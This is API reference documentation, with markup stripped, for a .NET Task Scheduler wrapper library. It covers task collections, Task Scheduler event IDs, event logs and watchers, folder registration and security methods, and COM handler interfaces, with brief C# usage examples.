this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the 